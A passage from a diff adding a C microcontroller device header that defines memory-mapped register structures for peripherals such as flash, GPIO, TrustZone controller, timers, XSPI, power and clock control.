PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0x84 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0x88 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0x8C */ + uint32_t RESERVED4[4]; /*!< Reserved4, Address offset: 0x90-0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0xAC */ + uint32_t RESERVED5[4]; /*!< Reserved5, Address offset: 0xB0-0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xD4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xD8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xDC */ + uint32_t RESERVED7[4]; /*!< Reserved7, Address offset: 0xE0-0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0xF4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0xF8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0xFC */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register, Address offset: 0x10 */ + uint32_t RESERVED2[59]; /*!< Reserved2, Address offset: 0x14-0xFC */ + __IO uint32_t SECCFGR[32]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x180 */ + uint32_t RESERVED3[32]; /*!< Reserved3, Address offset: 0x180-0x200 */ + __IO uint32_t PRIVCFGR[32]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x280 */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + + + +/** + * @brief Serial Peripheral Interface IO Manager + */ +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPIM IO Manager Control register, Address offset: 0x00 */ + __IO uint32_t PCR[8]; /*!< OCTOSPIM IO Manager Port[1:8] Configuration register, Address offset: 0x04-0x20 */ +} XSPIM_TypeDef; + +typedef XSPIM_TypeDef OCTOSPIM_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Power USB Type-C and Power Delivery register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + __IO uint32_t PUCRF; /*!< Power Port F pull-up control register, Address offset: 0x78 */ + __IO uint32_t PDCRF; /*!< Power Port F pull-down control register, Address offset: 0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ + __IO uint32_t PUCRI; /*!< Power Port I pull-up control register, Address offset: 0x90 */ + __IO uint32_t PDCRI; /*!< Power Port I pull-down control register, Address offset: 0x94 */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC 